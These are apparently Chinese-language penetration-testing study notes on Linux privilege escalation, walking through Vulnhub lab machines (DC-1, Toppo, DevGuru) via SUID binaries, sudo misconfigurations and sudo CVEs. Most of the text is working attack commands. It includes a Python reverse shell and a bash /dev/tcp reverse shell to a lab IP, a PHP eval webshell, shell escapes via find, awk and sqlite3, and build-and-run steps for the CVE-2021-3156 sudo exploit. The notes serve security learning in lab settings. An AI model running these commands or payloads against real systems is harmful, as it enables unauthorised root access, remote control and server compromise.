Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞
#信息收集
当前主机的操作系统
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
当前主机的内核版本
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"
#内核漏洞筛选:
MSF检测:
run post/multi/recon/local_exploit_suggester
提权脚本:
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester
综合脚本:
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
#常见内核漏洞案例:
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
大脏牛 (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
...
#应用场景:
获取到Web权限或普通用户在Linux服务器上时进行的SUID&SUDO提权
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。
#利用参考:
https://gtfobins.github.io/
#Linux系统提权-Web&用户-Suid
1、SUID&GUID
环境:https://www.vulnhub.com/entry/dc-1,292/
命令:SUID GUID
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
项目:LinEnum PEASS-ng
/usr/bin/find . -exec '/bin/sh' \;
2、SUID&SUDO
环境:https://www.vulnhub.com/entry/toppo-1,245/
搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件
SUID:
/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.141",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#Linux系统提权-Web&用户-Sudo(cve)
1、SUDO
环境:https://www.vulnhub.com/entry/toppo-1,245/
搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件
SUDO:
cat /etc/sudoers
/usr/bin/awk 'BEGIN {system("/bin/sh")}'
2、SUDO-CVE
环境:https://www.vulnhub.com/entry/devguru-1,620/
-信息收集:
80,8585
http://192.168.139.150/.git/
http://192.168.139.150/adminer.php
http://192.168.139.150/backend/backend/auth
http://192.168.139.150:8585/
http://192.168.139.150:8585/admin
-git泄漏(利用点)
python GitHack.py http://192.168.139.150/.git/
-访问管理(Web入口):
adminer.php 添加用户名密码 登录后台 模版 写入Shell
function onStart(){
//蚁剑连接
eval($_POST["pass"]);
}
-找备份寻突破(升权):
/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹
bash -c "exec bash -i >& /dev/tcp/192.168.139.141/5555 0>&1"
-利用sudo提权(cve):
sudo -l
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)
gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权。
3、SUDO-CVE
环境:kali2020
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
-判断:sudoedit -s / 报错存在
-利用:
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 0